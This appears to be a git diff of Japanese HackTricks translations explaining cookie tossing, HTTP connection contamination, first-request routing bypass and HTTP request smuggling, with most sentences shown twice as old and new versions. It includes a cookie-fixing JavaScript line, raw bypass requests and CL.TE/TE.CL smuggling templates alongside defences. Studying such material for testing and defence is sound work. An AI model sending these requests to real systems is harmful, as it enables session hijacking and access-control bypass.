* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **HackTricks**のPRを[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出して、あなたのハッキングのコツを共有してください。 * **ハッキングテクニックを共有するために、PRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに参加する
</details> </details>
## 説明 ## 説明
攻撃者が**サブドメインまたは会社のドメインを制御できるか、サブドメインでXSSを見つけた場合**、この攻撃を実行できます。 攻撃者が**企業のサブドメインまたはドメインを制御できるか、サブドメインでXSSを見つける**ことができれば、この攻撃を実行できます。
Cookies Hackingセクションで指摘されたように、**cookieがドメインに設定されるとそれを指定してドメインとサブドメインで使用されます。** Cookieハッキングセクションで示されているように、**cookieがドメインに設定されるとそれを指定してそのドメインとサブドメインで使用されます。**
{% hint style="danger" %} {% hint style="danger" %}
したがって、**攻撃者は特定のcookieをドメインとサブドメインに設定することができます**。例えば `document.cookie="session=1234; Path=/app/login; domain=.example.com"` したがって、**攻撃者はドメインとサブドメインに特定のcookieを設定できるようになります** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`のようなことを行います。
{% endhint %} {% endhint %}
これは危険です。攻撃者は以下のことができるかもしれません: これは危険であり、攻撃者は次のようなことができるかもしれません:
* **被害者のcookieを攻撃者のアカウントに固定する**。ユーザーが気づかなければ、**攻撃者のアカウントで行動を行い**、攻撃者は興味深い情報を得るかもしれません(プラットフォームでのユーザーの検索履歴をチェックする、被害者がアカウントにクレジットカードを設定するなど)。 * **被害者のcookieを攻撃者のアカウントに固定**することができるため、ユーザーが気づかない場合、**彼は攻撃者のアカウントでアクションを実行**し、攻撃者はいくつかの興味深い情報を入手するかもしれません(プラットフォームでのユーザーの検索履歴を確認したり、被害者がクレジットカードをアカウントに設定したり...
* **ログイン後にcookieが変更されない場合**、攻撃者は単に**cookieを固定する**ことができ、被害者がログインするのを待ってから、そのcookieを使用して被害者としてログインすることができます。 * **ログイン後にcookieが変更されない場合**、攻撃者は単に**cookieを固定**し、被害者がログインするのを待ってから**そのcookieを使用して被害者としてログイン**できます。
* **cookieが初期値を設定している場合**例えばflaskでは、**cookie**がセッションの**CSRFトークン**を設定し、この値が被害者がログインした後も維持される場合)、**攻撃者はこの既知の値を設定してそれを悪用することができます**そのシナリオでは、攻撃者はCSRFトークンを知っているので、ユーザーにCSRFリクエストを行わせることができます)。 * **cookieが初期値を設定している場合**たとえば、Flaskのように**cookie**が**セッションのCSRFトークン**を**設定**し、この値が被害者がログインした後も維持される場合)、**攻撃者はこの既知の値を設定して悪用**することができますこのシナリオでは、攻撃者はCSRFトークンを知っているため、ユーザーにCSRFリクエストを実行させることができます)。
## Cookieの順序 ## Cookieの順序
ブラウザが同じ名前の2つのcookieを受け取り、**部分的に同じスコープに影響を与える**(ドメイン、サブドメイン、パス)場合、**リクエストに両方が有効である場合、ブラウザはcookieの両方の値を送信します** ブラウザが同じ名前の2つのcookieを受信し、**同じスコープ(ドメイン、サブドメイン、パス)に部分的に影響を与える場合**、**両方のcookieの値をリクエストで有効な場合に送信**します
**最も具体的なパスを持っているか**、または**最も古いもの**に応じて、ブラウザは**最初にcookieの値を設定し**、その後に他のものの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` **最も具体的なパスを持っているか、どちらが最も古いか**に応じて、ブラウザは**最初にcookieの値を設定**し、その後、他のcookieの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
ほとんどの**ウェブサイトは最初の値のみを使用します**。したがって、攻撃者がcookieを設定したい場合は、他のものが設定される前に設定するか、より具体的なパスで設定する方が良いでしょう。 ほとんどの**ウェブサイトは最初の値のみを使用**します。したがって、攻撃者がcookieを設定する場合は、他のcookieが設定される前に設定するか、より具体的なパスで設定することが良いでしょう。
{% hint style="warning" %} {% hint style="warning" %}
さらに、**より具体的なパスでcookieを設定する能力**は非常に興味深いです。これにより、**被害者は特定のパス以外で自分のcookieを使用することになりますが、その特定のパスでは悪意のあるcookieが先に送信されます** さらに、**より具体的なパスにcookieを設定できる能力**は非常に興味深いものです。これにより、**悪意のあるcookieが送信される前に、被害者がそのcookieを使用することができる特定のパスを除いて作業する**ことができます
{% endhint %} {% endhint %}
## 保護のバイパス ## 保護のバイパス
この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つの異なる値を持つcookieを含むリクエストを受け入れない**ことです。 この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つの異なる値を持つcookieを受け入れないようにする**ことです。
攻撃者が被害者にcookieが与えられた後にcookieを設定るシナリオをバイパスするために、攻撃者は**cookieオーバーフロー**を引き起こし、**正当なcookieが削除された後に悪意のあるものを設定する**ことができます。 攻撃者が既に被害者にcookieが与えられた後にcookieを設定しているシナリオをバイパスするために、攻撃者は**cookieオーバーフロー**を引き起こし、その後、**正規のcookieが削除された後に悪意のあるcookieを設定**することができます。
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
別の有用な**バイパス**は、cookieの名前を**URLエンコードする**ことです。なぜなら、いくつかの保護はリクエストで同じ名前の2つのcookieをチェックし、その後サーバーがcookieの名前をデコードするからです。 別の有用な**バイパス**は、**cookieの名前をURLエンコード**することです。一部の保護機能はリクエスト内の同じ名前の2つのcookieをチェックし、その後、サーバーがcookieの名前をデコードします。
## Cookie Bomb ## Cookie Bomb
Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用されるかもしれません Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用できます
{% content-ref url="cookie-bomb.md" %} {% content-ref url="cookie-bomb.md" %}
[cookie-bomb.md](cookie-bomb.md) [cookie-bomb.md](cookie-bomb.md)
@ -63,10 +63,11 @@ Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用
## 防御 ## 防御
### **cookie名にプレフィックス`__Host`を使用する** ### **Cookie名に接頭辞`__Host`を使用する**
* Cookie名にこの接頭辞がある場合、それは**セキュアにマークされ、セキュアなオリジンから送信され、Domain属性が含まれず、Path属性が/に設定されている場合にのみ**Set-Cookieディレクティブで受け入れられます
* **これにより、サブドメインがcookieをapexドメインに強制することが防止されます。**
* このプレフィックスがcookie名にある場合、Set-Cookieディレクティブでのみ受け入れられ、Secureとマークされ、セキュアなオリジンから送信され、Domain属性が含まれず、Path属性が/に設定されている必要があります
* **これはサブドメインが頂点ドメインにcookieを強制するのを防ぐのに役立ちます。これらのcookieは「ドメインロック」と見なされるかもしれません**
## 参考文献 ## 参考文献
@ -77,14 +78,14 @@ Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **HackTricks**のPRを[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出して、あなたのハッキングのコツを共有してください。 * **ハッキングテクニックを共有するために、PRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに参加する
</details> </details>

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**AWSハッキングをゼロからヒーローまで学ぶ**</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
**この記事の要約です: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。詳細についてはそちらをご覧ください! **この記事の要約です: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。詳細についてはそちらをご覧ください!
Webブラウザは、共有IPアドレスと共通のTLS証明書を持つ場合、[HTTP接続の共有](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)を介して異なるウェブサイトに対して単一のHTTP/2+接続を再利用できます。ただし、これはリバースプロキシにおける**最初のリクエストのルーティング**と競合する可能性があります。ここで、後続のリクエストは最初のリクエストによって決定されたバックエンドに向けられます。この誤ルーティングは、特にワイルドカードTLS証明書`*.example.com`のようなドメインと組み合わせると、セキュリティの脆弱性につながる可能性があります。 Webブラウザは、共有IPアドレスと共通のTLS証明書を介して、[HTTP接続の共有](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)を通じて1つのHTTP/2+接続を異なるウェブサイトに再利用できます。ただし、これは逆プロキシにおける**最初のリクエストのルーティング**と競合する可能性があります。ここで、後続のリクエストは最初のリクエストによって決定されたバックエンドに向けられます。この誤ったルーティングは、特にワイルドカードTLS証明書`*.example.com`のようなドメインと組み合わせると、セキュリティの脆弱性につながる可能性があります。
たとえば、`wordpress.example.com`と`secure.example.com`が同じリバースプロキシで提供され、共通のワイルドカード証明書を持つ場合、ブラウザの接続共有により、`secure.example.com`へのリクエストがWordPressのバックエンドで誤って処理され、XSSなどの脆弱性が悪用される可能性があります。 たとえば、`wordpress.example.com`と`secure.example.com`が同じ逆プロキシによって提供され、共通のワイルドカード証明書を持っている場合、ブラウザの接続共有によって`secure.example.com`へのリクエストが誤ってWordPressバックエンドで処理され、XSSなどの脆弱性が悪用される可能性があります。
接続共有を観察するには、ChromeのネットワークタブやWiresharkなどのツールを使用できます。テスト用のスニペットは次のとおりです: 接続共有を観察するには、ChromeのネットワークタブやWiresharkなどのツールを使用できます。テスト用のスニペットは以下の通りです:
```javascript ```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) }) fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
``` ```

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください** 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください** * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>
@ -18,7 +18,7 @@
### 最初のリクエスト検証 ### 最初のリクエスト検証
リバースプロキシがリクエストをルーティングする際、**Hostヘッダー**に依存して、許可されたホストのホワイトリストを使用して、許可されたホストのリストを決定することがあります。ただし、一部のプロキシには、ホワイトリストが接続の最初のリクエストでのみ強制される脆弱性が存在します。そのため、攻撃者は最初に許可されたホストにリクエストを行い、その後、同じ接続を介して内部サイトにリクエストすることでこれを悪用することができます。 リバースプロキシがリクエストをルーティングする際、**Hostヘッダー**に依存して、許可されたアクセスを許可されたホストのホワイトリストに基づいて決定することがあります。ただし、一部のプロキシには、ホワイトリストが接続の最初のリクエストでのみ強制される脆弱性が存在します。そのため、攻撃者は最初に許可されたホストにリクエストを送信し、その後同じ接続を介して内部サイトにリクエストすることでこれを悪用できます。
```text ```text
GET / HTTP/1.1 GET / HTTP/1.1
Host: [allowed-external-host] Host: [allowed-external-host]
@ -38,7 +38,7 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
この問題は、[Hostヘッダー攻撃](https://portswigger.net/web-security/host-header)(パスワードリセットポイズニングや[webキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning)など)と組み合わせることで、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得る可能性があります。 この問題は、[Hostヘッダー攻撃](https://portswigger.net/web-security/host-header)(パスワードリセットポイズニングや[webキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning)など)と組み合わせ、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために利用される可能性があります。
{% hint style="info" %} {% hint style="info" %}
これらの脆弱性を特定するために、HTTPリクエストスマグラーの 'connection-state probe' 機能を利用できます。 これらの脆弱性を特定するために、HTTPリクエストスマグラーの 'connection-state probe' 機能を利用できます。
@ -47,12 +47,12 @@ Host: psres.net
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -7,16 +7,16 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegramグループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegramグループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 * **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details> </details>
## 何を指すか ## 何を指すか
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバの間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を送信し、それが**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**1つのリクエスト**として**解釈**され、**バックエンド**サーバによって**2つのリクエスト**として解釈されることを可能にします。\ この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバの間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を送信し、それが**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**1つのリクエスト**として**解釈**され、**バックエンド**サーバによって**2つのリクエスト**として解釈されることを可能にします。\
これにより、ユーザーは**自分の後に到着する次のリクエストを変更**することができます。 これにより、ユーザーは**自分の後に到着する次のリクエストを変更**することができます。
### 理論 ### 理論
@ -27,29 +27,29 @@ HackTricks をサポートする他の方法:
**Content-Length** **Content-Length**
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのバイト数を示します。 > Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Transfer-Encodingヘッダーは、ペイロードボディを安全に転送するために使用されるエンコーディング形式を指定します。\ > Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。\
> Chunkedは、大きなデータがチャンクのシリーズで送信されることを意味します。 > Chunkedは、大きなデータがチャンクのシリーズで送信されることを意味します。
### 現実 ### 現実
**フロントエンド**(ロードバランス/リバースプロキシ)は、_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバは**もう一方を処理**するため、2つのシステムの間に**非同期化**を引き起こします。\ **フロントエンド**(ロードバランス/リバースプロキシ)は _**content-length**_ または _**transfer-encoding**_ ヘッダーを処理し、**バックエンド**サーバは**もう一方**を処理するため、2つのシステムの間に**非同期化**を引き起こします。\
これは非常に重大であり、**攻撃者がリバースプロキシに1つのリクエストを送信**し、**バックエンド**サーバが**2つの異なるリクエスト**として解釈することができます。この技術の危険性は、**バックエンド**サーバが**注入された2番目のリクエスト**を**次のクライアントから来たものとして解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部として含まれる可能性があることにあります。 これは非常に重大であり、**攻撃者がリバースプロキシに1つのリクエストを送信**し、**バックエンド**サーバが**2つの異なるリクエスト**として解釈することができます。この技術の危険性は、**バックエンド**サーバが**注入された2番目のリクエスト**を**次のクライアントから来たものとして解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部として扱われることにあります。
### 特異性 ### 特異性
HTTPでは、**改行文字は2バイトで構成されることを覚えておいてください:** HTTPでは、**改行文字は2バイトで構成される**ことを覚えておいてください:
* **Content-Length**: このヘッダーは、リクエストのボディのバイト数を示す**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの末尾に改行は必要ありません**。 * **Content-Length**: このヘッダーは、リクエストのボディの**バイト数**を示す**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの末尾に改行は必要ありません**。
* **Transfer-Encoding:** このヘッダーは、**次のチャンク****バイト数**を示す**16進数**を**ボディ**で使用します。**チャンク**は**改行で終了**する必要がありますが、この改行は**長さ指示子には含まれません**。この転送方法は、**サイズ0のチャンクに続く2つの改行で終了**する必要があります: `0` * **Transfer-Encoding:** このヘッダーは、**次のチャンクのバイト数**を示す**16進数**を**ボディ**で使用します。**チャンク**は**新しい行で終了**する必要がありますが、この新しい行は長さ指示子には**含まれません**。この転送方法は、**サイズ0のチャンクに続く2つの新しい行で終了**する必要があります: `0`
* **Connection**: 私の経験に基づいて、リクエストスマグリングの最初のリクエストで **`Connection: keep-alive`** を使用することをお勧めします。 * **Connection**: 私の経験に基づいて、リクエストスマグリングの最初のリクエストで **`Connection: keep-alive`** を使用することをお勧めします。
## 基本的な例 ## 基本的な例
HTTPリクエストスマグリング攻撃は、フロントエンドとバックエンドサーバが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、**TE.TE**の形で現れます。各タイプは、フロントエンドとバックエンドサーバがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。サーバが同じリクエストを異なる方法で処理することから、脆弱性が生じ、予期しない悪意のある結果が生じる可能性があります。 HTTPリクエストスマグリング攻撃は、フロントエンドとバックエンドサーバが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、**TE.TE**の形で現れます。各タイプは、フロントエンドとバックエンドサーバがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。サーバが同じリクエストを異なる方法で処理することから、脆弱性が生じ、予期しない悪意のある結果が生じる可能性があります。
### 脆弱性タイプの基本的な例 ### 脆弱性タイプの基本的な例
@ -60,8 +60,8 @@ HTTPリクエストスマグリング攻撃は、フロントエンドとバッ
- **バックエンドTE:** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。 - **バックエンドTE:** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:** - **攻撃シナリオ:**
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。 - 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
- フロントエンドサーバは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。 - フロントエンドサーバは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
- バックエンドサーバは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。 - バックエンドサーバは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。
- **例:** - **例:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -81,8 +81,8 @@ Foo: x
- **バックエンドCL:** `Content-Length`ヘッダーに基づいてリクエストを処理します。 - **バックエンドCL:** `Content-Length`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:** - **攻撃シナリオ:**
- 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。 - 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
- フロントエンドサーバは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。 - フロントエンドサーバは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
